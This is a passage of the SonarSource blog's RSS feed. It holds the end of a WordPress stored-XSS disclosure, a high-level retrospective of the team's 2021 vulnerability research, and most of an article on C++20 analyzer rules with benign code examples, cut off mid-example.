  &lt;tr&gt;&lt;td&gt;2021-12-03&lt;/td&gt;&lt;td&gt;We inform WordPress that the vulnerability will be disclosed on the 11th of January 2022.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-01-06&lt;/td&gt;&lt;td&gt;Fix released with WordPress version 5.8.3.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we described a Stored Cross-Site Scripting vulnerability affecting WordPress versions up to &lt;a href=&quot;https://wordpress.org/news/2022/01/wordpress-5-8-3-security-release/&quot;&gt;5.8.3&lt;/a&gt;. We analyzed the root cause of the vulnerability, how it could be exploited by attackers in both privileged and unprivileged scenarios, and what the implemented patch was.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We are happy to see the vulnerability patched after more than 3 years of it being reported, and, if not already done so, strongly recommend updating your WordPress installation to the latest version &lt;a href=&quot;https://wordpress.org/news/2022/01/wordpress-5-8-3-security-release/&quot;&gt;5.8.3&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vulnerability Research Highlights 2021]]></title><description><![CDATA[Our research team looks back at a great year and summarizes the highlights of their vulnerability research in 2021.]]></description><link>https://www.sonarsource.com/blog/vulnerability-research-highlights-2021</link><guid isPermaLink="false">c2545d83-c268-58de-8e91-76105ab0f170</guid><dc:creator><![CDATA[Johannes Dahse]]></dc:creator><pubDate>Wed, 05 Jan 2022 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At SonarSource we are constantly improving our code analyzers to help developers &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;write Clean Code&lt;/a&gt;. The detection of severe code vulnerabilities plays an important role in this process so that applications are protected from attacks and security breaches. For this same reason, our research team finds and inspects vulnerabilities in modern open source applications. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In addition to being a fun challenge for our researchers, it enables us to study real-world examples, test and fine-tune our rules, and improve our products for our users. At the same time, our responsible vulnerability reports help affected vendors and their users to stay secure. Additionally, we document what we find so that the developer and security communities can learn from those vulnerabilities, their (potential) exploits, and their fixes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our research team had a fun and interesting year 2021. In this blog post, we would like to share the highlights of our year.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Discoveries in Popular Applications&lt;/h2&gt;&lt;p&gt;When choosing an open source application for vulnerability research, we prefer active and widely deployed projects. This way, we maximize the impact of our findings to benefit many users at once. However, this also means that finding something will be a challenge because more community members and professionals will have looked at the code already.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We are excited that in 2021, our team found and reported critical vulnerabilities in some of the most popular applications across major programming languages:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Wordpress &lt;/strong&gt;(PHP) is the world’s most popular content management system and is used by approximately 40% of all websites. We discovered a critical vulnerability that could have allowed attackers with low privileges to leak sensitive files and to perform SSRF attacks. &lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-xxe-security-vulnerability/&quot;&gt;Read more.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Zimbra&lt;/strong&gt; (Java) is a popular webmail solution used by over 200,000 businesses and over a thousand government &amp;amp; financial institutions to exchange emails among millions of users every day. We found two code vulnerabilities that could be combined by attackers to compromise an organization&amp;#x27;s webmail server. &lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-webmail-compromise-via-email/&quot;&gt;Read more.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;LocalStack &lt;/strong&gt;(Python) provides an easy-to-use test framework for cloud applications&lt;strong&gt; &lt;/strong&gt;and is one of the most popular open source Python applications. We discovered multiple critical vulnerabilities that together enabled remote attackers to compromise local installations. &lt;a href=&quot;https://www.sonarsource.com/blog/hack-the-stack-with-localstack/&quot;&gt;Read more.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Rocket.Chat&lt;/strong&gt; (JS/TS) is deployed on over 800,000 server instances and used by more than 12 million users worldwide to exchange confidential messages and files. We discovered critical vulnerabilities in its source code that could have been used by an attacker to take complete control over a server. &lt;a href=&quot;https://www.sonarsource.com/blog/nosql-injections-in-rocket-chat/&quot;&gt;Read more.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;SmartStoreNet&lt;/strong&gt; (C#) is the leading open-source e-commerce platform for .NET and a popular choice for companies running Windows Server. We discovered two vulnerabilities that allowed attackers to gain control of a SmartStoreNET shop by sending a malicious message to the administrator or in the public message board. &lt;a href=&quot;https://www.sonarsource.com/blog/smartstorenet-malicious-message-leading-to-e-commerce-takeover/&quot;&gt;Read more.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can find a list of all our &lt;a href=&quot;https://www.sonarsource.com/vulnerability-disclosures/&quot;&gt;vulnerability disclosures here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By uncovering, reporting and coordinating patch releases for these vulnerabilities with the affected vendors, we were able to help many large companies with their security efforts, including the &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-in-nsa-application-revealed/&quot;&gt;NSA&lt;/a&gt;. More than 60 CVEs were issued based on our research. In cases where we earned a monetary reward for our report (&lt;em&gt;bug bounty&lt;/em&gt;), we donated the money to charity. We are happy that we were able to make significant donations to organizations that have a strong social impact.&lt;/p&gt;&lt;h2&gt;Supply Chain Attacks&lt;/h2&gt;&lt;p&gt;Some of the vulnerabilities we discovered could have led to not only compromising specific installations, but could also have helped attackers launch supply chain attacks. In a supply chain attack, a software package is infected and then shipped as part of another software package to other users. Here are two highlights:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Composer &lt;/strong&gt;is the major tool in the PHP ecosystem to manage and install PHP packages, serving millions of daily downloads. Our team discovered critical vulnerabilities in the central PHP package repository of Composer that could have been used to backdoor all PHP packages; it could have been exploited to attack virtually any organization relying on this language! You can learn more in &lt;a href=&quot;https://www.sonarsource.com/blog/php-supply-chain-attack-on-composer/&quot;&gt;our blog post about this vulnerability&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;GoCD&lt;/strong&gt;: In another research project, our team discovered multiple critical vulnerabilities in GoCD, a popular CI/CD solution used by many NGOs and Fortune 500 companies. Without any prerequisite, remote attackers could have infected these companies&amp;#x27; code repositories, build artifacts and their products. We wrote a two-part blog (&lt;a href=&quot;https://www.sonarsource.com/blog/gocd-pre-auth-pipeline-takeover/&quot;&gt;Agent 007: Pre-Auth Takeover of Build Pipelines in GoCD&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/blog/gocd-vulnerability-chain/&quot;&gt;Agent 008: Chaining Vulnerabilities to Compromise GoCD&lt;/a&gt;) about these vulnerabilities.&lt;/p&gt;&lt;h2&gt;Pwnie Award Nominations&lt;/h2&gt;&lt;p&gt;Another highlight for us in 2021 was when our vulnerability researchers received three nominations for Pwnie Awards. For this annual award presented at the BlackHat USA conference, a jury of renowned security experts evaluate achievements of security researchers and the security community. Our researchers were nominated in these three categories:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://pwnies.com/supply-chain-attack-on-composer/&quot;&gt;Most Under-Hyped Research: Supply Chain Attack on Composer&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://pwnies.com/cve-2020-27194/&quot;&gt;Best Privilege Escalation Bug: CVE-2020-27194&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://pwnies.com/rce-through-csgo/&quot;&gt;Best Client-Side Bug: RCE through CS:GO&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the end, we did not win any Pwnies but, we felt very honored to be nominated.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Code Security Advent Calendar&lt;/h2&gt;&lt;p&gt;The &lt;a href=&quot;https://www.sonarsource.com/blog/code-security-advent-calendar-2021/&quot;&gt;Code Security Advent Calendar&lt;/a&gt; is an annual tradition since 2016. Each December we publish 24 different code puzzles. Players are encouraged to look for security vulnerabilities in code snippets, explain the impact, and how they could be exploited by malicious actors. We think it’s a great way to share good vibes with the community and to have fun while learning about security. It was a fantastic event this year, and we would like to thank all the players for their active participation and the interesting discussions. &lt;br/&gt;You can still find all the challenges online in &lt;a href=&quot;https://community.sonarsource.com/t/code-security-advent-calendar-2021/53927&quot;&gt;our community thread&lt;/a&gt; or on &lt;a href=&quot;https://twitter.com/sonarsource&quot;&gt;Twitter&lt;/a&gt;. We are also happy to &lt;a href=&quot;https://forms.gle/T3fGapv6hg4JFHiR8&quot;&gt;receive your feedback&lt;/a&gt; to make the next edition even better.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Community Fun&lt;/h2&gt;&lt;p&gt;Last but not least, our team enjoyed engaging with the security community. We presented learnings from our vulnerability research that helped us to uncover vulnerabilities in popular web applications, such as WordPress, Magento and Zimbra, at the &lt;a href=&quot;https://hacktivity.com/index.php/presentations/&quot;&gt;Hacktivity Budapest&lt;/a&gt; conference. Kudos to Simon for a great presentation with cool demos in front of a full conference room.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/17632a70-ea9c-4cc3-b26e-9d08ebe4c44d/a4e2cadc-ba1d-4c4a-a7e9-aa7db2253522_simon_hacktivity_2021.jpg&quot; /&gt;&lt;p&gt;Participating in Capture the Flag (CTF) contests is an affair of the heart for all our researchers and also a highlight. For the &lt;a href=&quot;https://ctf.saarland/&quot;&gt;saarCTF&lt;/a&gt;, our researchers joined forces with the renowned FluxFingers team from Bochum to find and patch code vulnerabilities in a competition with 78 international teams. After nine intense hours, our team managed to score 2nd (congrats to FluxFingers!). We contributed our own CTF challenges for players to solve during the annual &lt;a href=&quot;https://ctftime.org/event/1452&quot;&gt;Hack.lu CTF&lt;/a&gt; also organized by the FluxFingers. &lt;br/&gt;&lt;/p&gt;&lt;h2&gt;What’s next?&lt;/h2&gt;&lt;p&gt;We look back at an exciting year 2021, and we are looking forward to the next one. We already have awesome vulnerability findings in our pipeline that we will publish once patches are available. You can follow us on &lt;a href=&quot;https://twitter.com/sonarsource&quot;&gt;Twitter&lt;/a&gt; or subscribe to our blog to stay up-to-date. We will also present at OffensiveCon in February, and at the Insomnihack conference in March. Come visit our team for a chat and &lt;a href=&quot;https://www.sonarsource.com/company/jobs/&quot;&gt;consider joining our passionate teams&lt;/a&gt; :) &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On behalf of SonarSource, we wish you a happy new year and a great and safe start!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Modernizing your code with C++20]]></title><description><![CDATA[C++20 is here! It's a big release with many features designed to make your code easier, faster and safer. Let's see how the latest C++ analysis rules in SonarLint, SonarQube and SonarCloud can help us modernize our code to take advantage of some of the new features.]]></description><link>https://www.sonarsource.com/blog/modernizing-your-code-with-cpp20</link><guid isPermaLink="false">1631b539-6ad8-56d7-9376-a75ee2ba7aea</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Tue, 07 Dec 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;​C++20 is here! In fact, as we head towards 2022, it’s been here a while. It may surprise some, but we’re only a few months from a freeze on new proposals for C++23! But let’s not get ahead of ourselves. C++20 is a big release - at least the biggest since C++11 - some have said it&amp;#x27;s the biggest since the first standard in 1998!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another possible surprise is that support for C++20 is currently better in GCC and MSVC++ than in Clang. Nonetheless, significant chunks of the new language and library features are widely available across the three major compilers, already. Many of them, including some less well known features, are there to make common things safer and easier. So we’ve been hard at work implementing analyzer rules to help us all take full advantage of the latest incarnation of “Modern C++”. This is just the start, but we already have 28 C++20-specific rules in the latest releases of all our products (with many more in development).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s take a peek at some of them.&lt;/p&gt;&lt;h2&gt;Beyond Compare&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Arguably the biggest new C++20 feature for making the code you often write safer and easier is the three-way comparison operator - A.K.A. the “Spaceship Operator” (because it’s written as &lt;code&gt;&amp;lt;=&amp;gt;&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This new operator has many special powers. For a start it provides new functionality: the operator itself can be used to specify less-than, greater-than and equal/equivalent relations in a single call and return value. The compiler can now also synthesize all the other relational operators based on it (in an overridable way, of course). In fact even the spaceship operator’s implementation can be synthesized in terms of all members, simply by using &lt;code&gt;=default&lt;/code&gt; instead of an explicit implementation. And even &lt;em&gt;that’s&lt;/em&gt; not all - but it’s not the purpose of this article to be exhaustive here. For a bit more depth see &lt;a href=&quot;https://blog.tartanllama.xyz/spaceship-operator/&quot;&gt;Sy Brand’s introduction&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;More importantly, for now, how can our analyzer help? Well, currently we have three rules relating to the spaceship operator.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To illustrate them, let’s say you have some existing code that implements an equality operator, like this:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class Swallow {
   Provenance provenance = Provenance::European;
   int weight = 0;
Public:
   // As we’ll discuss: S6230 will be raised on the next line
   bool operator==( Swallow const&amp; other ) const {
       return provenance == other.provenance &amp;&amp; weight == other.weight;
   }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This will now trigger rule &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6230&quot;&gt;S6230&lt;/a&gt;, which tells us to &lt;em&gt;‘use “=default”&lt;/em&gt; instead of the default implementation for this comparison function’. We can address that by mostly deleting code (always a good change!):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;bool operator==( Swallow const&amp; other ) const = default;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Where’s the spaceship, you may ask? Well, this is one of the new powers we get alongside spaceship itself - being able to synthesize a default implementation of a specific comparison function. We only had &lt;code&gt;==&lt;/code&gt; defined, before, so that is all we are advised to change.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What if we had an implementation for &lt;code&gt;&amp;lt;&lt;/code&gt;?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;bool operator&lt;( Swallow const&amp; other ) const { // S6187 raised here
   return provenance &lt; other.provenance || 
          (provenance == other.provenance &amp;&amp; weight &lt; other.weight);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ordering relationships are even more tedious to write - and get right. We could =default that, too - but at this point it’s already a better recommendation to just implement spaceship, so we get &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6187&quot;&gt;S6187&lt;/a&gt;, &lt;em&gt;‘define operator&amp;lt;=&amp;gt; and remove operators &amp;lt;, &amp;lt;=, &amp;gt;, &amp;gt;=’&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;auto operator&lt;=&gt;( const Swallow&amp; ) const = default;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now, if we added that, but left in one or more of the other comparison operators - with a default implementation - we’ll trigger &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6186&quot;&gt;S6186&lt;/a&gt;, &lt;em&gt;‘Keep operator&amp;lt;=&amp;gt;, and remove any operator &amp;lt;, &amp;lt;=, &amp;gt;, &amp;gt;=&lt;/em&gt;’, or ‘[..] &lt;em&gt;remove defaulted operator ==&lt;/em&gt;’. Mixing the operators can lead to complexity and a risk of divergence, so it’s a good idea to clean the redundancy up.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Of course if you override a specific comparison with a &lt;em&gt;non-default&lt;/em&gt; implementation, none of these rules will be triggered.&lt;/p&gt;&lt;h2&gt;Not Always Auto&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We’ve had generic lambdas since C++14. By using the auto keyword instead of parameter types we can make them act like templates. This is usually nicer than the explicit template syntax we’ve been stuck with for regular functions and methods. In fact C++20 now lets us use auto for function template parameters, too (an &lt;em&gt;unconstrained concept&lt;/em&gt; - part of the bigger &lt;em&gt;concepts&lt;/em&gt; feature). Meanwhile lambdas went the other way. You can now supply explicit template parameters there as well. So functions and lambdas have converged on the same options for template syntax. Nice for consistency, but is there ever a good reason to use the explicit syntax with lambas?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are at least two, actually.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;First, where we need two or more parameters to have the same type. We might previously have written something like:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;auto l = []( auto a1, decltype(a1) a2, decltype(a1) a3 ) { /* .. */ };&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This will now trigger &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6189&quot;&gt;S6189&lt;/a&gt;, recommending we ‘&lt;em&gt;Replace &amp;quot;auto&amp;quot; with an explicit template parameter&lt;/em&gt;’. Leading to:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;auto l = []&lt;typename T&gt;( T a1, T a2, T a3 ) { /* .. */ };&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Definitely less clumsy.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Secondly, if the type of an argument is needed within the body of the lambda the same thing applies:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;auto l = []( auto&amp;&amp; arg ) {  // S6189 raised here
   do_something( std::forward&lt;decltype( arg )&gt;( arg ));
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This also triggers S6189, as it’s really just a variation on the same situation. But it’s worth calling out because this may be harder to spot at a glance - just the sort of thing you’d like to have a tool to find for you. Instead we can now write:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;auto l = []&lt;typename T&gt;( T&amp;&amp; arg ) {
   do_something( std::forward&lt;T&gt;( arg ));
};&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Making things better, bit by bit&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So far we’ve looked at language features - but there are many interesting new library features in C++20 too. Many of them help us to better navigate undefined behavior. For example, it used to be common to reinterpret values by projecting the underlying bit pattern into different types, using a &lt;code&gt;reinterpret_cast&lt;/code&gt;, or C-style cast - or as alternate members of a union. The problem there is that, due to &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/reinterpret_cast#Type_aliasing&quot;&gt;type aliasing rules&lt;/a&gt;, this is undefined behavior (except in a few limited cases). In recent years compilers have increasingly relied on this undefined behavior to more aggressively optimize. So the recommendation became to &lt;code&gt;memcpy&lt;/code&gt; the bits, e.g.:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;float const src = 1.0f;
uint32_t dst;

static_assert( sizeof(float) == sizeof(uint32_t) );
std::memcpy( &amp;dst, &amp;src, sizeof(float) ); // S6181 raised here&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are a few things to remember and get right, and in the more general case you should also check that both the types are trivially copyable. There are enough rough edges that it would be better to put that in a small library function (template). That’s what &lt;code&gt;std::bit_cast&lt;/code&gt; is:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;float const src = 1.0f;
auto dst = std::bit_cast&lt;uint32_t&gt;( src );
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Much tidier. And now &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6181&quot;&gt;S6181&lt;/a&gt; looks for code that follows the &lt;code&gt;memcpy&lt;/code&gt; pattern and suggests replacing it with &lt;code&gt;std::bitcast&lt;/code&gt;.&lt;/p&gt;&lt;h2&gt;Attention, span&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As programmers we don’t like to write more code than we have to. As &lt;em&gt;C++&lt;/em&gt; programmers we don’t like our code to do more &lt;em&gt;work&lt;/em&gt; than it has to. In the following code we do both:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;bool looking_for_these( std::vector&lt;Droid const*&gt; const&amp; droids );

void use_the_force() {

   std::vector&lt;Droid*&gt; droids = get_suspicious_droids();

   if( !looking_for_these(  // S6188 raised here &gt;
      std::vector&lt;Droid const*&gt;{ droids.begin(), droids.end() } ) ) {
       std::cout &lt;&lt; &quot;these are not the droids you&apos;re looking for\n&quot;;
   }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To pass this vector of non-const pointers to a function that takes a vector of const pointers we previously had to take a copy of the vector. This is similar to the &lt;code&gt;memcpy&lt;/code&gt;/&lt;code&gt;bit_cast&lt;/code&gt; case - the types seem compatible, but the language rules don’t allow us to pass them directly.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But now we have span, which handles several variations on this - and our analyzer can guide you through many of the transformations. First, &lt;a href=&quot;https://rules.sonarsource.com/cpp/tag/since-c++20/RSPEC-6188&quot;&gt;S6188&lt;/a&gt; suggests, on the first line, that we ‘&lt;em&gt;replace this parameter with a more generic “std::span” object&lt;/em&gt;’:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;bool looking_for_these( std::span&lt;Droid const* const&gt; droids );&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But we’re still making that copy - now unnecessarily. So &lt;a href=&quot;https://rules.sonarsource.com/cpp/tag/since-c++20/RSPEC-6231&quot;&gt;S6231&lt;/a&gt; triggers, telling us to ‘&lt;em&gt;Remove this redundant temporary object by constructing &amp;quot;std::span&amp;quot; directly&lt;/em&gt;’.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if( !looking_for_these( droids ) ) {
   std::cout &lt;&lt; &quot;these are not the droids you&apos;re looking for\n&quot;;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is the code we were looking for!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And now the original function is more general, in that it can accept slices of the vector, or pointers held in other contiguous sequences, such as std::arrays.&lt;/p&gt;&lt;h2&gt;It &lt;code&gt;starts_with&lt;/code&gt; cleaner code and &lt;code&gt;ends_with&lt;/code&gt; better performance&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Along similar lines, we might previously have tested string prefixes and postfixes using code like this:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;std::string s = &quot;long and winding road&quot;;

if( s.substr( 0, 4 ) == &quot;long&quot; &amp;&amp; // S6178 raised here
   s.size() &gt; 4 &amp;&amp; s.substr( s.size() - 4 ) == &quot;road&quot; ) {
   // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It does the job, but creates unnecessary temporary strings, and has several components that need to contain exactly the correct magic numbers (especially for the postfix test).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Show this code to the analyzer and &lt;a href=&quot;https://rules.sonarsource.com/cpp/tag/since-c++20/RSPEC-6178&quot;&gt;S6178&lt;/a&gt; will remind us we can now ‘&lt;em&gt;use starts_with() to check the prefix of a string&lt;/em&gt;’ and “&lt;em&gt;use ends_with() to check the postfix of a string&lt;/em&gt;’. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if( s.starts_with(&quot;long&quot;) &amp;&amp; s.ends_with(&quot;road&quot;) ) { /* .. */ }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Easier, safer &lt;em&gt;and&lt;/em&gt; more performant. A combination I particularly like, when I can achieve it!&lt;/p&gt;&lt;h2&gt;Cleaning up by &lt;code&gt;erase&lt;/code&gt;-ing&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;H.L. Mencken said that, “for every complex problem there is an answer that is clear, simple, and wrong”. Maybe he was reading the C++ standard when he wrote that.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One such example is the interview question favorite: how do you remove elements from a vector? Using &lt;code&gt;std::remove&lt;/code&gt; is only part of the answer (leading to another favorite saying: &lt;code&gt;std::remove&lt;/code&gt; doesn’t remove!). The full answer involves passing the return from &lt;code&gt;std::remove&lt;/code&gt; to an erase member function - known as the &lt;em&gt;erase-remove idiom&lt;/em&gt;. For example, to remove all empty strings from a vector of strings:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;v.erase(std::remove( v.begin(), v.end(), std::string{}), v.end());&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Two algorithms and three iterators to achieve something so fundamental!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This will actually trigger two rules now. First: &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6197&quot;&gt;S6197&lt;/a&gt; - ‘&lt;em&gt;Replace with &amp;quot;std::ranges::remove&amp;quot;&lt;/em&gt;’ reduces two of the iterators to just the vector:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;v.erase(std::ranges::remove( v, std::string()).begin(), v.end());&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But the one you really want is to go straight to &lt;a href=&quot;https://rules.sonarsource.com/cpp/tag/since-c++20/RSPEC-6165&quot;&gt;S6165&lt;/a&gt;, ‘&lt;em&gt;Replace this erase-remove idiom with a &amp;quot;std::erase&amp;quot; call&lt;/em&gt;’. In fact that&amp;#x27;s triggered with the ranges version, too - so if you did go with S6197 first you should still end up in the right place:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;std::erase(v, std::string());&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It works for &lt;code&gt;std::remove_if &lt;/code&gt;(to &lt;code&gt;std::erase_if&lt;/code&gt;) too, and even recognizes hand-rolled removal loops like this:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;auto it = m.begin();
while( it != m.end() ) {
   if( it-&gt;second == &quot;bad&quot; ) {
       it = m.erase( it );
   } else {
       ++it;
   }
